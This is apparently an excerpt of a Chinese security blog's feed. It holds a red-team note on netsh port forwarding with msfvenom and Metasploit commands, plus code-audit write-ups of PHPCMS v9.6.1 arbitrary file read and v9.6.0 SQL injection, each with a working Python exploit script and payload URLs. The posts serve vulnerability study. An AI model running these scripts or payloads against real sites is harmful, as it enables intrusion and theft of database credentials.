class="built_in">dir</span>=<span class="keyword">in</span> action=allow protocol=TCP localport=<span class="number">5353</span><span class="comment"># 配置开启5353端口策略</span></span><br><span class="line">netsh interface portproxy add v4tov4 listenport=<span class="number">5353</span> connectaddress=<span class="number">1.1</span>.<span class="number">1.13</span> connectport=<span class="number">53</span><span class="comment"># 端口转发:5353--->1.1.1.13:53</span></span><br></pre></td></tr></table></figure><p>msf生成正向连接的payload,在不出网的<code>Win7</code>上执行</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">msfvenom <span class="literal">-p</span> windows/meterpreter/bind_tcp LPORT=<span class="number">53</span> AHOST=<span class="number">1.1</span>.<span class="number">1.13</span> <span class="operator">-f</span> exe > tao.exe<span class="comment"># ahost为允许访问的机器(Win7)</span></span><br></pre></td></tr></table></figure><p>最后,在<code>Win10 攻击机</code>启动metasploit监听</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">sudo msfconsole -q</span><br><span class="line">msf6 > use exploit/multi/handler</span><br><span class="line">[*] Using configured payload generic/shell_reverse_tcp</span><br><span class="line">msf6 exploit(multi/handler) > <span class="built_in">set</span> payload windows/meterpreter/bind_tcp</span><br><span class="line">msf6 exploit(multi/handler) > <span class="built_in">set</span> RHOST 1.1.1.14</span><br><span class="line">msf6 exploit(multi/handler) > <span class="built_in">set</span> LPORT 5353</span><br><span class="line">msf6 exploit(multi/handler) > <span class="built_in">set</span> AHOST 1.1.1.13</span><br><span class="line">msf6 exploit(multi/handler) > exploit -j</span><br></pre></td></tr></table></figure><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210408174339366.png" alt="image-20210408174339366"></p><p>成功上线!</p><p>利用完后,如需删除规则,使用如下命令:</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">netsh advfirewall firewall delete rule name=<span class="string">"meta-online"</span> name protocol=TCP localport=<span class="number">5353</span><span class="comment"># 删除启用5353防火墙策略</span></span><br><span class="line">netsh interface portproxy delete v4tov4 listenport=<span class="number">5353</span> <span class="comment"># 删除端口转发</span></span><br></pre></td></tr></table></figure><h2 id="补充"><a href="#补充" class="headerlink" title="补充"></a>补充</h2><p>在Windows 2003/XP中,你必须在注册表<code>HKLM\SYSTEM\ControlSet001\Services\Tcpip\Parameters</code>中找到并设置<code>IPEnableRouter</code>参数为1才能实现端口转发</p><h2 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h2><ul><li><a href="http://woshub.com/port-forwarding-in-windows/">Configuring Port Forwarding on Windows</a></li><li><a href="https://xz.aliyun.com/t/2068">使用Windows命令来实现端口转发</a></li></ul>]]></content>
<summary type="html"><h2 id="0x00-前言"><a href="#0x00-前言" class="headerlink" title="0x00 前言"></a>0x00 前言</h2><p>在windows系统中,可以利用内置的<code>netsh</code>命令来进行端口转发。使用端</summary>
<category term="Red team" scheme="https://taonn.github.io/categories/Red-team/"/>
<category term="端口转发" scheme="https://taonn.github.io/tags/%E7%AB%AF%E5%8F%A3%E8%BD%AC%E5%8F%91/"/>
</entry>
<entry>
<title>代码审计之PHPCMS v9.6.1 任意文件读取漏洞分析</title>
<link href="https://taonn.github.io/2021/02/10/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E4%B9%8BPHPCMS-v9-6-1-%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/"/>
<id>https://taonn.github.io/2021/02/10/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E4%B9%8BPHPCMS-v9-6-1-%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/</id>
<published>2021-02-10T08:21:17.000Z</published>
<updated>2021-03-16T05:30:13.484Z</updated>
<content type="html"><![CDATA[<p>这个版本任意文件读取漏洞和上一篇分析的<a href="https://bobtaoy.github.io/2021/02/09/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E4%B9%8BPHPCMS%20v9.6.0%20wap%E6%A8%A1%E5%9D%97SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/">wapSQL注入漏洞</a>原理是类似的,且出现漏洞的原因都是在<code>phpcms/modules/content/down.php</code>文件中,所以我们这次直接对payload中的巧妙点进行分析</p><h2 id="漏洞利用"><a href="#漏洞利用" class="headerlink" title="漏洞利用"></a>漏洞利用</h2><p>手动利用跟上篇wap的sql注入差不多,这次我们直接上poc脚本</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">'''</span></span><br><span class="line"><span class="string">Author: Tao</span></span><br><span class="line"><span class="string">version: python3</span></span><br><span class="line"><span class="string"># 本脚本读取的是数据库配置文件</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">down</span>(<span class="params">url</span>):</span></span><br><span class="line"> <span class="comment"># step1</span></span><br><span class="line"> url_one = url + <span class="string">'/index.php?m=wap&c=index&siteid=1'</span></span><br><span class="line"> step1 = requests.get(url_one)</span><br><span class="line"> userid_flash = step1.headers[<span class="string">'Set-Cookie'</span>].split(<span class="string">'='</span>)[<span class="number">1</span>]</span><br><span class="line"></span><br><span class="line"> <span class="comment"># step2</span></span><br><span class="line"> url_two = url + <span class="string">'/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=pad%3Dx%26i%3D1%26modelid%3D1%26catid%3D1%26d%3D1%26m%3D1%26s%3D./caches/configs/database%26f%3D.p%25253chp'</span><span class="comment"># 读任意文件这里修改</span></span><br><span class="line"> step2 = requests.post(url_two, data={<span class="string">'userid_flash'</span>: userid_flash})</span><br><span class="line"></span><br><span class="line"> <span class="keyword">for</span> cookie <span class="keyword">in</span> step2.cookies:</span><br><span class="line"> <span class="keyword">if</span> <span class="string">'_att_json'</span> <span class="keyword">in</span> cookie.name:</span><br><span class="line"> att_json = cookie.value</span><br><span class="line"></span><br><span class="line"> url_three = url + <span class="string">'/index.php?m=content&c=down&a=init&a_k='</span> + att_json</span><br><span class="line"> <span class="keyword">return</span> url_three</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</span><br><span class="line"> url = sys.argv[<span class="number">1</span>]</span><br><span class="line"> downurl = down(url)</span><br><span class="line"> print(downurl)</span><br></pre></td></tr></table></figure><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210210150123574.png" alt="image-20210210150123574"></p><h2 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h2><p> 我在分析这个漏洞,查资料的时候,发现了红日安全团队七月火也写有这个漏洞的分析文章,他写的非常详细,你们如果看不懂我写的,可以去看他的<a href="https://xz.aliyun.com/t/5731">PHPCMS漏洞分析合集(下)</a> (我比较菜!)</p><p> 首先访问脚本返回的url,调试分析一下<code>phpcms/modules/content/down.php</code>中<code>init</code>函数</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210210153731495.png" alt="image-20210210153731495"></p><p>17行<code>safe_replace</code>函数进行过滤,但是对我们传进去的值没有影响。18行<code>parse_str</code>函数解析注册变量,将<code>$f=%253chp</code> => 对其进行一次url解码为<code>%3cph</code>(这里因为<code>%25 = %</code>),继续往下走,到76行</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210210153942469.png" alt="image-20210210153942469"></p><p>76-77行对f的值进行了检查,然后79行进行了加密,这里与上篇<a href="https://bobtaoy.github.io/2021/02/09/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E4%B9%8BPHPCMS%20v9.6.0%20wap%E6%A8%A1%E5%9D%97SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/">wap sql注入分析</a>类似,但是不同的是这里加解密的 <code>key</code> 变成了 <code>$pc_auth_key</code>,80行返回我们下载的url, 会调用同文件中的<code>download</code>函数</p><p>我们点击下载,下断点到88行,分析<code>download</code>函数</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210210154927253.png" alt="image-20210210154927253"></p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210210155037726.png" alt="image-20210210155037726"></p><p>90行对上面加密的值进行解密,然后94行再一次解析注册变量,此时将<code>%3c</code>进行解码为<code><</code>,所以<code>$f=.p<hp</code></p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210210155456290.png" alt="image-20210210155456290"></p><p>103绕过了检查,108拼接,组成了我们想要下载的php文件(文件名还没完全对)</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210210155734267.png" alt="image-20210210155734267"></p><p>到这一步,126行就是产生漏洞的主要原因,也很好的解释了为什么我们传进去的值有<code><</code></p><p>一次 <code>str_replace(array('<','>'), '',$fileurl)</code>, 消去<code><</code>, 造成了任意文件的下载</p><p>这整个分析过程中,我们传进去的payload会经过两次<code>safe_replace</code> 、两次 <code>parse_str</code>,一次 <code>str_replace(array('<','>'), '',$fileurl)</code>而程序对 <code>..</code> 和 <code>php</code> 字符进行了检测。所以我们要想访问 <code>php</code>文件或进行路径穿越,后缀可以设置成 <code>ph>p</code> ,路径符可以变成 <code>.>.</code> 。但是 <code>safe_replace</code> 函数会 <code>str_replace('>','>',$string)</code> ,所以 <strong>></strong> 字符需要编码两次,变成 <code>%25253e</code> </p><p>最后贴一张七月火师傅的触发过程整理图:</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/phpcms9-6-1sum.png" alt="img"></p><blockquote><p>来源:红日安全团队七月火</p></blockquote><h2 id="参考:"><a href="#参考:" class="headerlink" title="参考:"></a>参考:</h2><ul><li><a href="https://xz.aliyun.com/t/5731">https://xz.aliyun.com/t/5731</a></li></ul>]]></content>
<summary type="html"><p>这个版本任意文件读取漏洞和上一篇分析的<a href="https://bobtaoy.github.io/2021/02/09/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E4%B9%8BPHPCMS%20v9.6.0%20wap%E6%A8</summary>
<category term="web安全" scheme="https://taonn.github.io/categories/web%E5%AE%89%E5%85%A8/"/>
<category term="代码审计" scheme="https://taonn.github.io/categories/web%E5%AE%89%E5%85%A8/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/"/>
<category term="PHP代码审计" scheme="https://taonn.github.io/tags/PHP%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/"/>
</entry>
<entry>
<title>代码审计之PHPCMSv9.6.0 wap模块SQL注入漏洞分析</title>
<link href="https://taonn.github.io/2021/02/09/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E4%B9%8BPHPCMS%20v9.6.0%20wap%E6%A8%A1%E5%9D%97SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/"/>
<id>https://taonn.github.io/2021/02/09/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E4%B9%8BPHPCMS%20v9.6.0%20wap%E6%A8%A1%E5%9D%97SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/</id>
<published>2021-02-09T10:55:00.000Z</published>
<updated>2021-04-08T13:15:55.700Z</updated>
<content type="html"><![CDATA[<h2 id="环境搭建"><a href="#环境搭建" class="headerlink" title="环境搭建"></a>环境搭建</h2><p>参考<a href="https://taonn.github.io/2021/02/06/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E4%B9%8BPHPCMSV9-2%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/">PHPCMS_V9.2任意文件上传getshell漏洞分析</a></p><h2 id="漏洞复现"><a href="#漏洞复现" class="headerlink" title="漏洞复现"></a>漏洞复现</h2><p>此漏洞利用过程可能稍有复杂,我们可分为以下三个步骤:</p><ul><li><font color="red">Step1:</font>GET请求访问<code>/index.php?m=wap&c=index&siteid=1</code><ul><li>获取<code>set-cookie</code>中的<code>_siteid </code>结尾的 cookie 字段的<strong>值</strong></li></ul></li><li><font color="red">Step2:</font><font color="purple">1</font>. POST请求访问 <code>/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%281%2C%28user%28%29%29%29%2C1%29%23%26m%3D1%26modelid%3D1%26catid%3D1%26f%3DTao</code><ul><li>上面访问的url通过URL解码为:<code>index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=&id=%*27 and updatexml(1,concat(1,(user())),1)#&m=1&modelid=1&catid=1&f=Tao</code> (<font color="red">报错注入,语句可替换</font>)</li><li><font color="purple">2.</font> 将<code>Step1</code>获取<code>_siteid </code>结尾的 cookie 字段的<strong>值</strong>,赋值给 <code>userid_flash</code> 变量,以post数据提交</li><li>获取<code>set-cookie</code>中的<code>_json</code>结尾字段的<strong>值</strong></li></ul></li><li><font color="red">Step3:</font>访问<code>/index.php?m=content&c=down&a_k=</code><font color="red">step2获取的_json结尾字段的值</font><ul><li>eg:<code>/index.php?m=content&c=down&a_k=0e72z-2m8OJyw8injqvbY0xJtR5l5UtndXiFZmxcvK9kHkxN1COlnfyINF38Opx6UcdqlABV2gc-8RuG90sS6e31lJn2mxnkJPnUaQDCTAs0gEsKMnL5CHxl-o1hYg2TWaL5blo9RC8ya0yLkSc5NgzCqfTSgZCAlndhgum-OFk1XGARihPaYUs</code></li></ul></li></ul><p>Step1:</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210327175727320.png" alt="image-20210327175727320"></p><p>Step2:</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210327175905005.png" alt="image-20210327175905005"></p><p>Step3:</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210327175959483.png" alt="image-20210327175959483"></p><p>老样子,贴个小脚本!</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">'''</span></span><br><span class="line"><span class="string">Author: Tao</span></span><br><span class="line"><span class="string">version: python3</span></span><br><span class="line"><span class="string"># 本脚本执行返回user()信息</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"><span class="comment"># from urllib import parse</span></span><br><span class="line"><span class="keyword">import</span> re</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">WAP_SQL</span>(<span class="params">url</span>):</span></span><br><span class="line"> <span class="comment"># step1</span></span><br><span class="line"> url_one = url + <span class="string">'/index.php?m=wap&c=index&siteid=1'</span></span><br><span class="line"> step1 = requests.get(url_one)</span><br><span class="line"> userid_flash = step1.headers[<span class="string">'Set-Cookie'</span>].split(<span class="string">'='</span>)[<span class="number">1</span>]</span><br><span class="line"></span><br><span class="line"> <span class="comment"># step2</span></span><br><span class="line"> payload = <span class="string">'%*27 and updatexml(1,concat(1,(user())),1)%23&modelid=1&catid=1&m=1&f=Tao'</span></span><br><span class="line"> url_two = url + <span class="string">r"/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id={}"</span>.format(requests.utils.quote(payload))<span class="comment"># 执行SQL语句,此处可修改</span></span><br><span class="line"> step2 = requests.post(url_two, data={<span class="string">'userid_flash'</span>: userid_flash})</span><br><span class="line"> <span class="keyword">for</span> cookie <span class="keyword">in</span> step2.cookies:</span><br><span class="line"> <span class="keyword">if</span> <span class="string">'_att_json'</span> <span class="keyword">in</span> cookie.name:</span><br><span class="line"> att_json = cookie.value</span><br><span class="line"></span><br><span class="line"> <span class="comment"># step3</span></span><br><span class="line"> url_three = url + <span class="string">'/index.php?m=content&c=down&a_k={}'</span>.format(att_json)</span><br><span class="line"> step3 = requests.get(url_three)</span><br><span class="line"> res = re.findall(<span class="string">r"MySQL Error : </b>XPATH syntax error: '(.*?)'"</span>,step3.text)</span><br><span class="line"> <span class="keyword">return</span> res</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</span><br><span class="line"> url = sys.argv[<span class="number">1</span>]</span><br><span class="line"> result_sql = WAP_SQL(url)</span><br><span class="line"> print(result_sql)</span><br></pre></td></tr></table></figure><p>执行效果如下:</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210328141903180.png" alt="image-20210328141903180"></p><p>脚本在对<font color="red">Stpe2</font>那里进行了与手工不一样的处理,原因就是按照手工的方法进行编写的脚本会报错,具体是什么问题以及原因<font color="red">看文尾的分析。</font>>值得一看!!!</p><h2 id="漏洞复现-1"><a href="#漏洞复现-1" class="headerlink" title="漏洞复现"></a>漏洞复现</h2><p>为了更好的理解这个漏洞产生的原因,我们采取的方式是从后往前分析。</p><p>根据<font color="red">step3</font>请求的URL地址,可以定位到<code>phpcms\modules\content\down.php</code>文件<code>init</code>函数:</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210327180215866.png" alt="image-20210327180215866"></p><p>上面代码通过GET获取到了<code>$a_k</code>的值,然后将<code>$a_k</code>带入<code>sys_auth</code>函数进行解密(<code>DECODE</code>),至于是如何加密的,我们无需关心,但是我们要知道的是<code>$a_k</code>的值是从拿来的,也就是<font color="red">Step2</font>构造的语句是哪里进行加密处理的,还有就是加密用的key。</p><p>执行到17行,此时<code>$a_k={"aid":1,"src":"&id=%27 and updatexml(1,concat(1,(user())),1)#&m=1&modelid=1&catid=1&f=Tao","filename":""}</code>,这里还需要注意<code>parse_str</code>这个函数</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210328190127279.png" alt="image-20210328190127279"></p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210328190156309.png" alt="image-20210328190156309"></p><p>通过官方给的例子可知,<code>parse_str</code>会将传入的值根据<code>&</code>进行分割。然后解析注册变量。并且会对内容进行URL解码。</p><p>为了更好的理解上面这段话,看下图:</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210327180803311.png" alt="image-20210327180803311"></p><p>由图可知,当执行<code>parse_str</code>函数,他会进行以下步骤:</p><ul><li>1.根据&符解析<code>$a_k</code>的值,注册变量</li><li>2.将解析后变量的值进行URL解码</li></ul><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210327183751439.png" alt="image-20210327183751439"></p><p>继续执行,到26进行了SQL语句执行,跟进一下</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210327181035109.png" alt="image-20210327181035109"></p><p>上图可知,执行的SQL语句如下:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">SELECT * <span class="keyword">FROM</span> `phpcmsv96`.`v9_news_data` WHERE `id` = <span class="string">''</span> <span class="keyword">and</span> updatexml(<span class="number">1</span>,concat(<span class="number">1</span>,(user())),<span class="number">1</span>)<span class="comment">#' LIMIT 1</span></span><br></pre></td></tr></table></figure><p>我们将语句放到数据库执行一下。</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210327181243461.png" alt="image-20210327181243461"></p><p>正常返回了,但去掉<code>#</code>,报错,如下图:</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210327181307957.png" alt="image-20210327181307957"></p><p>这就是为什么<font color="red">Step2</font>处,构造的SQL报错语句后面添加<code>#</code>进行注释</p><p>接下来分析<font color="red">Step2</font>,我们需要弄明白,<code>$a_k</code>的值是怎么得到的,以及为什么POST请求数据中需要添加<code>userid_flash</code>字段和对应的值是怎么来的。</p><p>根据Step2的请求,我们定位到<code>/phpcms/modules/attachment/attachments.php</code>中<code>swfupload_json</code>函数。</p><p>由于<code>swfupload_json</code>方法是<code>attachments</code>类中的一个方法,我们看看类中的构造函数。(不知道你有没有发现什么)</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210327194234490.png" alt="image-20210327194234490"></p><p>类中的构造函数初始化会判断(21-23行)是否有<code>$this->userid</code>,那么这个<code>$this->userid</code>是怎么来的呢,17行对它进行了赋值</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">$this</span>->userid = $_SESSION[<span class="string">'userid'</span>] ? $_SESSION[<span class="string">'userid'</span>] : (param::get_cookie(<span class="string">'_userid'</span>) ? param::get_cookie(<span class="string">'_userid'</span>) : sys_auth($_POST[<span class="string">'userid_flash'</span>],<span class="string">'DECODE'</span>));</span><br></pre></td></tr></table></figure><p>上面的这一行代码,通过三元运算符判断<code>$_SESSION['userid']</code>是否有值,我们第一步利用中,肯定是没有值的,然后执行<code>(param::get_cookie('_userid')</code>,然后我们cookie也没有<code>_userid</code>,所以最终<code>$this->userid = sys_auth($_POST['userid_flash'],'DECODE'));</code></p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210327194935840.png" alt="image-20210327194935840"></p><p><code>sys_auth($_POST['userid_flash'],'DECODE'))</code>就是对我们step2中<code>userid_flash</code>的值进行解密,这里跟Step3解密是同一个函数,走下来,<code>$this->userid=1</code>,就过了21行的判断。这也就是为什么POST请求数据中添加<code>userid_flash</code>字段。</p><p>接着分析<code>swfupload_json</code>方法</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210327195154232.png" alt="image-20210327195154232"></p><p>这里通过GET请求获取了<code>src</code>的值(报错注入语句)。并且经过了<code>safe_replace</code>函数的处理。跟进一下此还能输,看看如何处理的。</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210327195328966.png" alt="image-20210327195328966"></p><p>这个函数的功能就是对一些特殊字符进行了过滤,当经过这个函数,未作处理<code>$string</code>值为<code>&id=%*27 and updatexml(1,concat(1,(user())),1)#&m=1&modelid=1&catid=1&f=Tao</code>。</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210327195419521.png" alt="image-20210327195419521"></p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210327195446784.png" alt="image-20210327195446784"></p><p>走完以后,它将我们传入的<code>%*27</code>变成了<code>%27</code>。(上上图进行过滤的)这也就是为什么要加<code>*</code>号</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210327195633409.png" alt="image-20210327195633409"></p><p>继续执行,到244行由于cookie中没有<code>att_json</code>,所以跳转至250行进行设置cookie。</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210327195855574.png" alt="image-20210327195855574"></p><p>可以发现,这里cookie加密也是用的<code>sys_auth</code>函数(跟<font color="red">Step3</font>解密用的同一个函数),这里的key未指定,我们跟进一下这个函数。</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210327200212416.png" alt="image-20210327200212416"></p><p>图中可以得知,当<code>key</code>为空时,使用<code>pc_base::load_config('system','auth_key')</code>。跟<font color="red">Step3</font>使用的一致。</p><p>接着分析<font color="red">Step1</font></p><p>前面提到为什么加<code>userid_flash</code>参数,<code>$this->userid = sys_auth($_POST['userid_flash'],'DECODE'));</code>,为了过是否登录的判断。而且这里传入<code>userid_flash</code>的值必须是合法的cookie,也就是通过<code>set_cookie</code>函数设置的cookie,而又因<code>set_cookie</code>函数设置cookie会通过<code>sys_auth</code>加密。这样的解密才有效。</p><p>因此我们需要找到从哪里无添加即可获取cookie,这里利用的是wap模块的接口。在<code>phpcms/modules/wap/index.php</code></p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210327203005540.png" alt="image-20210327203005540"></p><p>上图代码处通过GET获取<code>siteid</code>的值,然后为其设置cookie。</p><p>整个漏洞的利用流程如下:</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210328185153027.png" alt="image-20210328185153027"></p><h2 id="漏洞修复"><a href="#漏洞修复" class="headerlink" title="漏洞修复"></a>漏洞修复</h2><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210328184248076.png" alt="image-20210328184248076"></p><p>对<code>$a_k</code>进行了过滤,且将<code>$id</code>进行了类型转换</p><h2 id="前面提到问题的分析"><a href="#前面提到问题的分析" class="headerlink" title="前面提到问题的分析"></a>前面提到问题的分析</h2><p>不知道你们有没有发现,手工利用跟脚本实现的时候不太一样(见下图)</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210328142217269.png" alt="image-20210328142217269"></p><p>正常来说,因为手工利用的时候直接访问<code>/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%281%2C%28user%28%29%29%29%2C1%29%23%26m%3D1%26modelid%3D1%26catid%3D1%26f%3DTao</code>,那么对应脚本应该如下写:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">url_two = url + <span class="string">"/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%281%2C%28user%28%29%29%29%2C1%29%23%26m%3D1%26modelid%3D1%26catid%3D1%26f%3DTao"</span><span class="comment"># 执行SQL语句,此处可修改</span></span><br></pre></td></tr></table></figure><p>但当我们这么写,执行的时候,会报错,报错如下:</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210327154645630.png" alt="image-20210327154645630"></p><p>刚开始我还以为是URL写错了,后面又测了一遍。发现手工可以,但是带到脚本就不行。由于<font color="red">Step2</font>是本脚中最重要的环节,我就很确切的就把问题定位到了这里。最后实在没办法了(想搞懂为什么会这样),被requests这个库逼到绝路了(脚本这个错排了好久的😭),于是我就去看了一下requests库的源代码,看看它对url是怎么处理的。最终得到的结果就是<font color="red">requests库对请求的url做了<code>urlencode</code></font>。当我得到这个结论的时候,大佬告诉我<code>不encode怎么传递</code>,我直接好家伙,当时我怎么就没想到这个呢。但后面又仔细想了想,分析这些漏洞,根据前辈的poc,学习这些手法,那么这些手法大多数不就是不按套路出牌嘛。(我也不知道我自己再说啥,反正玄学。。。)</p><p>进行<code>urlencode</code>在下处:</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210327231720576.png" alt="image-20210327231720576"></p><p>执行的流程如下:</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210328213156138.png" alt="image-20210328213156138"></p><p>回归正传,在这里我们以Step2请求的url为例:</p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://www.phpcms96.com/index.php/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%281%2C%28user%28%29%29%29%2C1%29%23%26m%3D1%26modelid%3D1%26catid%3D1%26f%3DTao</span><br></pre></td></tr></table></figure><p>正常请求是没问题的,但当使用requests库请求时URL如下:</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210328144942755.png" alt="image-20210328144942755"></p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://www.phpcms96.com/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%2526id=%25*27%2520and%2520updatexml%25281%252Cconcat%25281%252C%2528user%2528%2529%2529%2529%252C1%2529%2523%2526m%253D1%2526modelid%253D1%2526catid%253D1%2526f%253DTao</span><br></pre></td></tr></table></figure><p>分析如下图</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210328145323190.png" alt="image-20210328145323190"></p><p>就是对我们的url进行了编码,到这里我们仅仅只是发现了<code>requests</code>库对我们的url进行了<code>encode</code>,但php那边为什么会报错我们还没有搞明白,所以我们还得在php那边进行调试观察。</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20210328145945198.png" 